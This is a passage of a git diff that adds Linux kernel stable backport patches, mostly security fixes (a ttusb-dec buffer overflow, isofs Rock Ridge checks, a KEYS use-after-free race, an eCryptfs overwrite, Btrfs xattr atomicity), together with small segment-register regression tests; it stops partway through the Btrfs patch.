0ec4fc584c3ee470f5150450acf49dd2dab5d1e7 Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Fri, 5 Sep 2014 09:09:28 -0300 +Subject: media: ttusb-dec: buffer overflow in ioctl + +commit f2e323ec96077642d397bb1c355def536d489d16 upstream. + +We need to add a limit check here so we don't overflow the buffer. + +Signed-off-by: Dan Carpenter +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/usb/ttusb-dec/ttusbdecfe.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/media/usb/ttusb-dec/ttusbdecfe.c b/drivers/media/usb/ttusb-dec/ttusbdecfe.c +index 5c45c9d0712dd..9c29552aedec2 100644 +--- a/drivers/media/usb/ttusb-dec/ttusbdecfe.c ++++ b/drivers/media/usb/ttusb-dec/ttusbdecfe.c +@@ -156,6 +156,9 @@ static int ttusbdecfe_dvbs_diseqc_send_master_cmd(struct dvb_frontend* fe, struc + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00 }; + ++ if (cmd->msg_len > sizeof(b) - 4) ++ return -EINVAL; ++ + memcpy(&b[4], cmd->msg, cmd->msg_len); + + state->config->send_command(fe, 0x72, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0110-fd5683d05ef4-x8664 traps Stop using IST for SS.patch b/recipes-kernel/linux/linux-bass/autopatcher/0110-fd5683d05ef4-x8664 traps Stop using IST for SS.patch new file mode 100644 index 0000000..169756e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0110-fd5683d05ef4-x8664 traps Stop using IST for SS.patch @@ -0,0 +1,136 @@ +From fd5683d05ef451c15c24b30050bcd7d14bc50a1d Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Sat, 22 Nov 2014 18:00:32 -0800 +Subject: x86_64, traps: Stop using IST for #SS + +commit 6f442be2fb22be02cafa606f1769fa1e6f894441 upstream. + +On a 32-bit kernel, this has no effect, since there are no IST stacks. + +On a 64-bit kernel, #SS can only happen in user code, on a failed iret +to user space, a canonical violation on access via RSP or RBP, or a +genuine stack segment violation in 32-bit kernel code. The first two +cases don't need IST, and the latter two cases are unlikely fatal bugs, +and promoting them to double faults would be fine. + +This fixes a bug in which the espfix64 code mishandles a stack segment +violation. + +This saves 4k of memory per CPU and a tiny bit of code. + +Signed-off-by: Andy Lutomirski +Reviewed-by: Thomas Gleixner +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/include/asm/page_32_types.h | 1 - + arch/x86/include/asm/page_64_types.h | 11 +++++------ + arch/x86/kernel/dumpstack_64.c | 1 - + arch/x86/kernel/entry_64.S | 2 +- + arch/x86/kernel/traps.c | 18 +----------------- + 5 files changed, 7 insertions(+), 26 deletions(-) + +diff --git a/arch/x86/include/asm/page_32_types.h b/arch/x86/include/asm/page_32_types.h +index ef17af0134750..4376b458aef76 100644 +--- a/arch/x86/include/asm/page_32_types.h ++++ b/arch/x86/include/asm/page_32_types.h +@@ -18,7 +18,6 @@ + #define THREAD_SIZE_ORDER 1 + #define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER) + +-#define STACKFAULT_STACK 0 + #define DOUBLEFAULT_STACK 1 + #define NMI_STACK 0 + #define DEBUG_STACK 0 +diff --git a/arch/x86/include/asm/page_64_types.h b/arch/x86/include/asm/page_64_types.h +index 6c896fbe21db5..970f3097ee33b 100644 +--- a/arch/x86/include/asm/page_64_types.h ++++ b/arch/x86/include/asm/page_64_types.h +@@ -14,12 +14,11 @@ + #define IRQ_STACK_ORDER 2 + #define IRQ_STACK_SIZE (PAGE_SIZE << IRQ_STACK_ORDER) + +-#define STACKFAULT_STACK 1 +-#define DOUBLEFAULT_STACK 2 +-#define NMI_STACK 3 +-#define DEBUG_STACK 4 +-#define MCE_STACK 5 +-#define N_EXCEPTION_STACKS 5 /* hw limit: 7 */ ++#define DOUBLEFAULT_STACK 1 ++#define NMI_STACK 2 ++#define DEBUG_STACK 3 ++#define MCE_STACK 4 ++#define N_EXCEPTION_STACKS 4 /* hw limit: 7 */ + + #define PUD_PAGE_SIZE (_AC(1, UL) << PUD_SHIFT) + #define PUD_PAGE_MASK (~(PUD_PAGE_SIZE-1)) +diff --git a/arch/x86/kernel/dumpstack_64.c b/arch/x86/kernel/dumpstack_64.c +index addb207dab92d..66e274a3d968e 100644 +--- a/arch/x86/kernel/dumpstack_64.c ++++ b/arch/x86/kernel/dumpstack_64.c +@@ -24,7 +24,6 @@ static char x86_stack_ids[][8] = { + [ DEBUG_STACK-1 ] = "#DB", + [ NMI_STACK-1 ] = "NMI", + [ DOUBLEFAULT_STACK-1 ] = "#DF", +- [ STACKFAULT_STACK-1 ] = "#SS", + [ MCE_STACK-1 ] = "#MC", + #if DEBUG_STKSZ > EXCEPTION_STKSZ + [ N_EXCEPTION_STACKS ... +diff --git a/arch/x86/kernel/entry_64.S b/arch/x86/kernel/entry_64.S +index b8570b1c72d84..6b4472b4db50e 100644 +--- a/arch/x86/kernel/entry_64.S ++++ b/arch/x86/kernel/entry_64.S +@@ -1503,7 +1503,7 @@ apicinterrupt HYPERVISOR_CALLBACK_VECTOR \ + + paranoidzeroentry_ist debug do_debug DEBUG_STACK + paranoidzeroentry_ist int3 do_int3 DEBUG_STACK +-paranoiderrorentry stack_segment do_stack_segment ++errorentry stack_segment do_stack_segment + #ifdef CONFIG_XEN + zeroentry xen_debug do_debug + zeroentry xen_int3 do_int3 +diff --git a/arch/x86/kernel/traps.c b/arch/x86/kernel/traps.c +index 74e080123ec92..00a287358470d 100644 +--- a/arch/x86/kernel/traps.c ++++ b/arch/x86/kernel/traps.c +@@ -220,28 +220,12 @@ DO_ERROR(X86_TRAP_OLD_MF, SIGFPE, "coprocessor segment overrun", + coprocessor_segment_overrun) + DO_ERROR(X86_TRAP_TS, SIGSEGV, "invalid TSS", invalid_TSS) + DO_ERROR(X86_TRAP_NP, SIGBUS, "segment not present", segment_not_present) +-#ifdef CONFIG_X86_32 + DO_ERROR(X86_TRAP_SS, SIGBUS, "stack segment", stack_segment) +-#endif + DO_ERROR_INFO(X86_TRAP_AC, SIGBUS, "alignment check", alignment_check, + BUS_ADRALN, 0) + + #ifdef CONFIG_X86_64 + /* Runs on IST stack */ +-dotraplinkage void do_stack_segment(struct pt_regs *regs, long error_code) +-{ +- enum ctx_state prev_state; +- +- prev_state = exception_enter(); +- if (notify_die(DIE_TRAP, "stack segment", regs, error_code, +- X86_TRAP_SS, SIGBUS) != NOTIFY_STOP) { +- preempt_conditional_sti(regs); +- do_trap(X86_TRAP_SS, SIGBUS, "stack segment", regs, error_code, NULL); +- preempt_conditional_cli(regs); +- } +- exception_exit(prev_state); +-} +- + dotraplinkage void do_double_fault(struct pt_regs *regs, long error_code) + { + static const char str[] = "double fault"; +@@ -769,7 +753,7 @@ void __init trap_init(void) + set_intr_gate(X86_TRAP_OLD_MF, &coprocessor_segment_overrun); + set_intr_gate(X86_TRAP_TS, &invalid_TSS); + set_intr_gate(X86_TRAP_NP, &segment_not_present); +- set_intr_gate_ist(X86_TRAP_SS, &stack_segment, STACKFAULT_STACK); ++ set_intr_gate(X86_TRAP_SS, stack_segment); + set_intr_gate(X86_TRAP_GP, &general_protection); + set_intr_gate(X86_TRAP_SPURIOUS, &spurious_interrupt_bug); + set_intr_gate(X86_TRAP_MF, &coprocessor_error); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0111-cb7977a9a8f7-x8664 switchto Load TLS descriptors before switching DS and ES.patch b/recipes-kernel/linux/linux-bass/autopatcher/0111-cb7977a9a8f7-x8664 switchto Load TLS descriptors before switching DS and ES.patch new file mode 100644 index 0000000..0b0157c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0111-cb7977a9a8f7-x8664 switchto Load TLS descriptors before switching DS and ES.patch @@ -0,0 +1,311 @@ +From cb7977a9a8f74fa555a893c052f82a826cc66231 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Mon, 8 Dec 2014 13:55:20 -0800 +Subject: x86_64, switch_to(): Load TLS descriptors before switching DS and ES + +commit f647d7c155f069c1a068030255c300663516420e upstream. + +Otherwise, if buggy user code points DS or ES into the TLS +array, they would be corrupted after a context switch. + +This also significantly improves the comments and documents some +gotchas in the code. + +Before this patch, the both tests below failed. With this +patch, the es test passes, although the gsbase test still fails. + + ----- begin es test ----- + +/* + * Copyright (c) 2014 Andy Lutomirski + * GPL v2 + */ + +static unsigned short GDT3(int idx) +{ + return (idx << 3) | 3; +} + +static int create_tls(int idx, unsigned int base) +{ + struct user_desc desc = { + .entry_number = idx, + .base_addr = base, + .limit = 0xfffff, + .seg_32bit = 1, + .contents = 0, /* Data, grow-up */ + .read_exec_only = 0, + .limit_in_pages = 1, + .seg_not_present = 0, + .useable = 0, + }; + + if (syscall(SYS_set_thread_area, &desc) != 0) + err(1, "set_thread_area"); + + return desc.entry_number; +} + +int main() +{ + int idx = create_tls(-1, 0); + printf("Allocated GDT index %d\n", idx); + + unsigned short orig_es; + asm volatile ("mov %%es,%0" : "=rm" (orig_es)); + + int errors = 0; + int total = 1000; + for (int i = 0; i < total; i++) { + asm volatile ("mov %0,%%es" : : "rm" (GDT3(idx))); + usleep(100); + + unsigned short es; + asm volatile ("mov %%es,%0" : "=rm" (es)); + asm volatile ("mov %0,%%es" : : "rm" (orig_es)); + if (es != GDT3(idx)) { + if (errors == 0) + printf("[FAIL]\tES changed from 0x%hx to 0x%hx\n", + GDT3(idx), es); + errors++; + } + } + + if (errors) { + printf("[FAIL]\tES was corrupted %d/%d times\n", errors, total); + return 1; + } else { + printf("[OK]\tES was preserved\n"); + return 0; + } +} + + ----- end es test ----- + + ----- begin gsbase test ----- + +/* + * gsbase.c, a gsbase test + * Copyright (c) 2014 Andy Lutomirski + * GPL v2 + */ + +static unsigned char *testptr, *testptr2; + +static unsigned char read_gs_testvals(void) +{ + unsigned char ret; + asm volatile ("movb %%gs:%1, %0" : "=r" (ret) : "m" (*testptr)); + return ret; +} + +int main() +{ + int errors = 0; + + testptr = mmap((void *)0x200000000UL, 1, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + if (testptr == MAP_FAILED) + err(1, "mmap"); + + testptr2 = mmap((void *)0x300000000UL, 1, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + if (testptr2 == MAP_FAILED) + err(1, "mmap"); + + *testptr = 0; + *testptr2 = 1; + + if (syscall(SYS_arch_prctl, ARCH_SET_GS, + (unsigned long)testptr2 - (unsigned long)testptr) != 0) + err(1, "ARCH_SET_GS"); + + usleep(100); + + if (read_gs_testvals() == 1) { + printf("[OK]\tARCH_SET_GS worked\n"); + } else { + printf("[FAIL]\tARCH_SET_GS failed\n"); + errors++; + } + + asm volatile ("mov %0,%%gs" : : "r" (0)); + + if (read_gs_testvals() == 0) { + printf("[OK]\tWriting 0 to gs worked\n"); + } else { + printf("[FAIL]\tWriting 0 to gs failed\n"); + errors++; + } + + usleep(100); + + if (read_gs_testvals() == 0) { + printf("[OK]\tgsbase is still zero\n"); + } else { + printf("[FAIL]\tgsbase was corrupted\n"); + errors++; + } + + return errors == 0 ? 0 : 1; +} + + ----- end gsbase test ----- + +Signed-off-by: Andy Lutomirski +Cc: Andi Kleen +Cc: Linus Torvalds +Link: http://lkml.kernel.org/r/509d27c9fec78217691c3dad91cec87e1006b34a.1418075657.git.luto@amacapital.net +Signed-off-by: Ingo Molnar +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kernel/process_64.c | 101 +++++++++++++++++++++++++++++++------------ + 1 file changed, 73 insertions(+), 28 deletions(-) + +diff --git a/arch/x86/kernel/process_64.c b/arch/x86/kernel/process_64.c +index f99a242730e95..7099ab1e075bd 100644 +--- a/arch/x86/kernel/process_64.c ++++ b/arch/x86/kernel/process_64.c +@@ -279,24 +279,9 @@ __switch_to(struct task_struct *prev_p, struct task_struct *next_p) + + fpu = switch_fpu_prepare(prev_p, next_p, cpu); + +- /* +- * Reload esp0, LDT and the page table pointer: +- */ ++ /* Reload esp0 and ss1. */ + load_sp0(tss, next); + +- /* +- * Switch DS and ES. +- * This won't pick up thread selector changes, but I guess that is ok. +- */ +- savesegment(es, prev->es); +- if (unlikely(next->es | prev->es)) +- loadsegment(es, next->es); +- +- savesegment(ds, prev->ds); +- if (unlikely(next->ds | prev->ds)) +- loadsegment(ds, next->ds); +- +- + /* We must save %fs and %gs before load_TLS() because + * %fs and %gs may be cleared by load_TLS(). + * +@@ -305,41 +290,101 @@ __switch_to(struct task_struct *prev_p, struct task_struct *next_p) + savesegment(fs, fsindex); + savesegment(gs, gsindex); + ++ /* ++ * Load TLS before restoring any segments so that segment loads ++ * reference the correct GDT entries. ++ */ + load_TLS(next, cpu); + + /* +- * Leave lazy mode, flushing any hypercalls made here. +- * This must be done before restoring TLS segments so +- * the GDT and LDT are properly updated, and must be +- * done before math_state_restore, so the TS bit is up +- * to date. ++ * Leave lazy mode, flushing any hypercalls made here. This ++ * must be done after loading TLS entries in the GDT but before ++ * loading segments that might reference them, and and it must ++ * be done before math_state_restore, so the TS bit is up to ++ * date. + */ + arch_end_context_switch(next_p); + ++ /* Switch DS and ES. ++ * ++ * Reading them only returns the selectors, but writing them (if ++ * nonzero) loads the full descriptor from the GDT or LDT. The ++ * LDT for next is loaded in switch_mm, and the GDT is loaded ++ * above. ++ * ++ * We therefore need to write new values to the segment ++ * registers on every context switch unless both the new and old ++ * values are zero. ++ * ++ * Note that we don't need to do anything for CS and SS, as ++ * those are saved and restored as part of pt_regs. ++ */ ++ savesegment(es, prev->es); ++ if (unlikely(next->es | prev->es)) ++ loadsegment(es, next->es); ++ ++ savesegment(ds, prev->ds); ++ if (unlikely(next->ds | prev->ds)) ++ loadsegment(ds, next->ds); ++ + /* + * Switch FS and GS. + * +- * Segment register != 0 always requires a reload. Also +- * reload when it has changed. When prev process used 64bit +- * base always reload to avoid an information leak. ++ * These are even more complicated than FS and GS: they have ++ * 64-bit bases are that controlled by arch_prctl. Those bases ++ * only differ from the values in the GDT or LDT if the selector ++ * is 0. ++ * ++ * Loading the segment register resets the hidden base part of ++ * the register to 0 or the value from the GDT / LDT. If the ++ * next base address zero, writing 0 to the segment register is ++ * much faster than using wrmsr to explicitly zero the base. ++ * ++ * The thread_struct.fs and thread_struct.gs values are 0 ++ * if the fs and gs bases respectively are not overridden ++ * from the values implied by fsindex and gsindex. They ++ * are nonzero, and store the nonzero base addresses, if ++ * the bases are overridden. ++ * ++ * (fs != 0 && fsindex != 0) || (gs != 0 && gsindex != 0) should ++ * be impossible. ++ * ++ * Therefore we need to reload the segment registers if either ++ * the old or new selector is nonzero, and we need to override ++ * the base address if next thread expects it to be overridden. ++ * ++ * This code is unnecessarily slow in the case where the old and ++ * new indexes are zero and the new base is nonzero -- it will ++ * unnecessarily write 0 to the selector before writing the new ++ * base address. ++ * ++ * Note: This all depends on arch_prctl being the only way that ++ * user code can override the segment base. Once wrfsbase and ++ * wrgsbase are enabled, most of this code will need to change. + */ + if (unlikely(fsindex | next->fsindex | prev->fs)) { + loadsegment(fs, next->fsindex); ++ + /* +- * Check if the user used a selector != 0; if yes +- * clear 64bit base, since overloaded base is always +- * mapped to the Null selector ++ * If user code wrote a nonzero value to FS, then it also ++ * cleared the overridden base address. ++ * ++ * XXX: if user code wrote 0 to FS and cleared the base ++ * address itself, we won't notice and we'll incorrectly ++ * restore the prior base address next time we reschdule ++ * the process. + */ + if (fsindex) + prev->fs = 0; + } +- /* when next process has a 64bit base use it */ + if (next->fs) + wrmsrl(MSR_FS_BASE, next->fs); + prev->fsindex = fsindex; + + if (unlikely(gsindex | next->gsindex | prev->gs)) { + load_gs_index(next->gsindex); ++ ++ /* This works (and fails) the same way as fsindex above. */ + if (gsindex) + prev->gs = 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0112-1fe5620fcd6c-isofs Fix infinite looping over CE entries.patch b/recipes-kernel/linux/linux-bass/autopatcher/0112-1fe5620fcd6c-isofs Fix infinite looping over CE entries.patch new file mode 100644 index 0000000..99b0f08 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0112-1fe5620fcd6c-isofs Fix infinite looping over CE entries.patch @@ -0,0 +1,57 @@ +From 1fe5620fcd6c2f0a4a927ee10c8e53196da392f3 Mon Sep 17 00:00:00 2001 +From: Jan Kara +Date: Mon, 15 Dec 2014 14:22:46 +0100 +Subject: isofs: Fix infinite looping over CE entries + +commit f54e18f1b831c92f6512d2eedb224cd63d607d3d upstream. + +Rock Ridge extensions define so called Continuation Entries (CE) which +define where is further space with Rock Ridge data. Corrupted isofs +image can contain arbitrarily long chain of these, including a one +containing loop and thus causing kernel to end in an infinite loop when +traversing these entries. + +Limit the traversal to 32 entries which should be more than enough space +to store all the Rock Ridge data. + +Reported-by: P J P +Signed-off-by: Jan Kara +Signed-off-by: Greg Kroah-Hartman +--- + fs/isofs/rock.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/fs/isofs/rock.c b/fs/isofs/rock.c +index f488bbae541ac..bb63254ed8486 100644 +--- a/fs/isofs/rock.c ++++ b/fs/isofs/rock.c +@@ -30,6 +30,7 @@ struct rock_state { + int cont_size; + int cont_extent; + int cont_offset; ++ int cont_loops; + struct inode *inode; + }; + +@@ -73,6 +74,9 @@ static void init_rock_state(struct rock_state *rs, struct inode *inode) + rs->inode = inode; + } + ++/* Maximum number of Rock Ridge continuation entries */ ++#define RR_MAX_CE_ENTRIES 32 ++ + /* + * Returns 0 if the caller should continue scanning, 1 if the scan must end + * and -ve on error. +@@ -105,6 +109,8 @@ static int rock_continue(struct rock_state *rs) + goto out; + } + ret = -EIO; ++ if (++rs->cont_loops >= RR_MAX_CE_ENTRIES) ++ goto out; + bh = sb_bread(rs->inode->i_sb, rs->cont_extent); + if (bh) { + memcpy(rs->buffer, bh->b_data + rs->cont_offset, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0113-a7033e302dcd-KEYS close race between key lookup and freeing.patch b/recipes-kernel/linux/linux-bass/autopatcher/0113-a7033e302dcd-KEYS close race between key lookup and freeing.patch new file mode 100644 index 0000000..4ed590b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0113-a7033e302dcd-KEYS close race between key lookup and freeing.patch @@ -0,0 +1,50 @@ +From a7033e302dcd38bb4333f46b3fdcd930955e402d Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Mon, 29 Dec 2014 09:39:01 -0500 +Subject: KEYS: close race between key lookup and freeing + +commit a3a8784454692dd72e5d5d34dcdab17b4420e74c upstream. + +When a key is being garbage collected, it's key->user would get put before +the ->destroy() callback is called, where the key is removed from it's +respective tracking structures. + +This leaves a key hanging in a semi-invalid state which leaves a window open +for a different task to try an access key->user. An example is +find_keyring_by_name() which would dereference key->user for a key that is +in the process of being garbage collected (where key->user was freed but +->destroy() wasn't called yet - so it's still present in the linked list). + +This would cause either a panic, or corrupt memory. + +Fixes CVE-2014-9529. + +Signed-off-by: Sasha Levin +Signed-off-by: David Howells +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/gc.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/security/keys/gc.c b/security/keys/gc.c +index d67c97bb10256..797818695c87a 100644 +--- a/security/keys/gc.c ++++ b/security/keys/gc.c +@@ -201,12 +201,12 @@ static noinline void key_gc_unused_keys(struct list_head *keys) + if (test_bit(KEY_FLAG_INSTANTIATED, &key->flags)) + atomic_dec(&key->user->nikeys); + +- key_user_put(key->user); +- + /* now throw away the key memory */ + if (key->type->destroy) + key->type->destroy(key); + ++ key_user_put(key->user); ++ + kfree(key->description); + + #ifdef KEY_DEBUGGING +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0114-684f4c093f18-isofs Fix unchecked printing of ER records.patch b/recipes-kernel/linux/linux-bass/autopatcher/0114-684f4c093f18-isofs Fix unchecked printing of ER records.patch new file mode 100644 index 0000000..b4930e5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0114-684f4c093f18-isofs Fix unchecked printing of ER records.patch @@ -0,0 +1,35 @@ +From 684f4c093f182756a1c1f582c415d3120cc7f5e8 Mon Sep 17 00:00:00 2001 +From: Jan Kara +Date: Thu, 18 Dec 2014 17:26:10 +0100 +Subject: isofs: Fix unchecked printing of ER records + +commit 4e2024624e678f0ebb916e6192bd23c1f9fdf696 upstream. + +We didn't check length of rock ridge ER records before printing them. +Thus corrupted isofs image can cause us to access and print some memory +behind the buffer with obvious consequences. + +Reported-and-tested-by: Carl Henrik Lunde +Signed-off-by: Jan Kara +Signed-off-by: Greg Kroah-Hartman +--- + fs/isofs/rock.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/fs/isofs/rock.c b/fs/isofs/rock.c +index bb63254ed8486..735d7522a3a91 100644 +--- a/fs/isofs/rock.c ++++ b/fs/isofs/rock.c +@@ -362,6 +362,9 @@ repeat: + rs.cont_size = isonum_733(rr->u.CE.size); + break; + case SIG('E', 'R'): ++ /* Invalid length of ER tag id? */ ++ if (rr->u.ER.len_id + offsetof(struct rock_ridge, u.ER.data) > rr->len) ++ goto out; + ISOFS_SB(inode->i_sb)->s_rock = 1; + printk(KERN_DEBUG "ISO 9660 Extensions: "); + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0115-66012982c8e3-eCryptfs Remove buggy and unnecessary write in file name decode.patch b/recipes-kernel/linux/linux-bass/autopatcher/0115-66012982c8e3-eCryptfs Remove buggy and unnecessary write in file name decode.patch new file mode 100644 index 0000000..b86a568 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0115-66012982c8e3-eCryptfs Remove buggy and unnecessary write in file name decode.patch @@ -0,0 +1,37 @@ +From 66012982c8e3344b6fc94defba2909356c607a6d Mon Sep 17 00:00:00 2001 +From: Michael Halcrow +Date: Wed, 26 Nov 2014 09:09:16 -0800 +Subject: eCryptfs: Remove buggy and unnecessary write in file name decode + routine + +commit 942080643bce061c3dd9d5718d3b745dcb39a8bc upstream. + +Dmitry Chernenkov used KASAN to discover that eCryptfs writes past the +end of the allocated buffer during encrypted filename decoding. This +fix corrects the issue by getting rid of the unnecessary 0 write when +the current bit offset is 2. + +Signed-off-by: Michael Halcrow +Reported-by: Dmitry Chernenkov +Suggested-by: Kees Cook +Signed-off-by: Tyler Hicks +Signed-off-by: Greg Kroah-Hartman +--- + fs/ecryptfs/crypto.c | 1 - + 1 file changed, 1 deletion(-) + +diff --git a/fs/ecryptfs/crypto.c b/fs/ecryptfs/crypto.c +index f71ec125290db..1da2446bf6b00 100644 +--- a/fs/ecryptfs/crypto.c ++++ b/fs/ecryptfs/crypto.c +@@ -2102,7 +2102,6 @@ ecryptfs_decode_from_filename(unsigned char *dst, size_t *dst_size, + break; + case 2: + dst[dst_byte_offset++] |= (src_byte); +- dst[dst_byte_offset] = 0; + current_bit_offset = 0; + break; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0116-43f2e3615d18-Btrfs make xattr replace operations atomic.patch b/recipes-kernel/linux/linux-bass/autopatcher/0116-43f2e3615d18-Btrfs make xattr replace operations atomic.patch new file mode 100644 index 0000000..2f4e354 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0116-43f2e3615d18-Btrfs make xattr replace operations atomic.patch @@ -0,0 +1,320 @@ +From 43f2e3615d181a7028ab797114c5960977669b2a Mon Sep 17 00:00:00 2001 +From: Filipe Manana +Date: Sun, 9 Nov 2014 08:38:39 +0000 +Subject: Btrfs: make xattr replace operations atomic + +commit 5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339 upstream. + +Replacing a xattr consists of doing a lookup for its existing value, delete +the current value from the respective leaf, release the search path and then +finally insert the new value. This leaves a time window where readers (getxattr, +listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs, +so this has security implications. + +This change also fixes 2 other existing issues which were: + +*) Deleting the old xattr value without verifying first if the new xattr will + fit in the existing leaf item (in case multiple xattrs are packed in the + same item due to name hash collision); + +*) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't + exist but we have have an existing item that packs muliple xattrs with + the same name hash as the input xattr. In this case we should return ENOSPC. + +A test case for xfstests follows soon. + +Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace +implementation. + +Reported-by: Alexandre Oliva +Signed-off-by: Filipe Manana +Signed-off-by: Chris Mason +[shengyong: backport to 3.10 + - FIX: CVE-2014-9710 + - adjust context + - ASSERT() was added v3.12, so we do check with if statement + - set the first parameter of btrfs_item_nr() as NULL, because it is not + used, and is removed in v3.13 +] +Signed-off-by: Sheng Yong +Signed-off-by: Greg Kroah-Hartman +--- + fs/btrfs/ctree.c | 2 +- + fs/btrfs/ctree.h | 5 ++ + fs/btrfs/dir-item.c | 10 +--- + fs/btrfs/xattr.c | 159 +++++++++++++++++++++++++++++++++------------------- + 4 files changed, 111 insertions(+), 65 deletions(-) + +diff --git a/fs/btrfs/ctree.c b/fs/btrfs/ctree.c +index 7fb054ba1b601..82f14a1da542e 100644 +--- a/fs/btrfs/ctree.c ++++ b/fs/btrfs/ctree.c +@@ -2769,7 +2769,7 @@ done: + */ + if (!p->leave_spinning) + btrfs_set_path_blocking(p); +- if (ret < 0) ++ if (ret < 0 && !p->skip_release_on_error) + btrfs_release_path(p); + return ret; + } +diff --git a/fs/btrfs/ctree.h b/fs/btrfs/ctree.h +index d6dd49b51ba8d..c19444e412be4 100644 +--- a/fs/btrfs/ctree.h ++++ b/fs/btrfs/ctree.h +@@ -586,6 +586,7 @@ struct btrfs_path { + unsigned int skip_locking:1; + unsigned int leave_spinning:1; + unsigned int search_commit_root:1; ++ unsigned int skip_release_on_error:1; + }; + + /* +@@ -3406,6 +3407,10 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans, + int verify_dir_item(struct btrfs_root *root, + struct extent_buffer *leaf, + struct btrfs_dir_item *dir_item); ++struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, ++ struct btrfs_path *path, ++ const char *name, ++ int name_len); + + /* orphan.c */ + int btrfs_insert_orphan_item(struct btrfs_trans_handle *trans, +diff --git a/fs/btrfs/dir-item.c b/fs/btrfs/dir-item.c +index 79e594e341c7c..6f61b9b1526f9 100644 +--- a/fs/btrfs/dir-item.c ++++ b/fs/btrfs/dir-item.c +@@ -21,10 +21,6 @@ + #include "hash.h" + #include "transaction.h" + +-static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, +- struct btrfs_path *path, +- const char *name, int name_len); +- + /* + * insert a name into a directory, doing overflow properly if there is a hash + * collision. data_size indicates how big the item inserted should be. On +@@ -383,9 +379,9 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans, + * this walks through all the entries in a dir item and finds one + * for a specific name. + */ +-static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, +- struct btrfs_path *path, +- const char *name, int name_len) ++struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, ++ struct btrfs_path *path, ++ const char *name, int name_len) + { + struct btrfs_dir_item *dir_item; + unsigned long name_ptr; +diff --git a/fs/btrfs/xattr.c b/fs/btrfs/xattr.c +index 05740b9789e4f..9cf20d63cc998 100644 +--- a/fs/btrfs/xattr.c ++++ b/fs/btrfs/xattr.c +@@ -27,6 +27,7 @@ + #include "transaction.h" + #include "xattr.h" + #include "disk-io.h" ++#include "locking.h" + + + ssize_t __btrfs_getxattr(struct inode *inode, const char *name, +@@ -89,7 +90,7 @@ static int do_setxattr(struct btrfs_trans_handle *trans, + struct inode *inode, const char *name, + const void *value, size_t size, int flags) + { +- struct btrfs_dir_item *di; ++ struct btrfs_dir_item *di = NULL; + struct btrfs_root *root = BTRFS_I(inode)->root; + struct btrfs_path *path; + size_t name_len = strlen(name); +@@ -101,84 +102,128 @@ static int do_setxattr(struct btrfs_trans_handle *trans, + path = btrfs_alloc_path(); + if (!path) + return -ENOMEM; ++ path->skip_release_on_error = 1; ++ ++ if (!value) { ++ di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), ++ name, name_len, -1); ++ if (!di && (flags & XATTR_REPLACE)) ++ ret = -ENODATA; ++ else if (di) ++ ret = btrfs_delete_one_dir_name(trans, root, path, di); ++ goto out; ++ } + ++ /* ++ * For a replace we can't just do the insert blindly. ++ * Do a lookup first (read-only btrfs_search_slot), and return if xattr ++ * doesn't exist. If it exists, fall down below to the insert/replace ++ * path - we can't race with a concurrent xattr delete, because the VFS ++ * locks the inode's i_mutex before calling setxattr or removexattr. ++ */ + if (flags & XATTR_REPLACE) { +- di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), name, +- name_len, -1); +- if (IS_ERR(di)) { +- ret = PTR_ERR(di); +- goto out; +- } else if (!di) { ++ if(!mutex_is_locked(&inode->i_mutex)) { ++ pr_err("BTRFS: assertion failed: %s, file: %s, line: %d", ++ "mutex_is_locked(&inode->i_mutex)", __FILE__, ++ __LINE__); ++ BUG(); ++ } ++ di = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode), ++ name, name_len, 0); ++ if (!di) { + ret = -ENODATA; + goto out; + } +- ret = btrfs_delete_one_dir_name(trans, root, path, di); +- if (ret) +- goto out; + 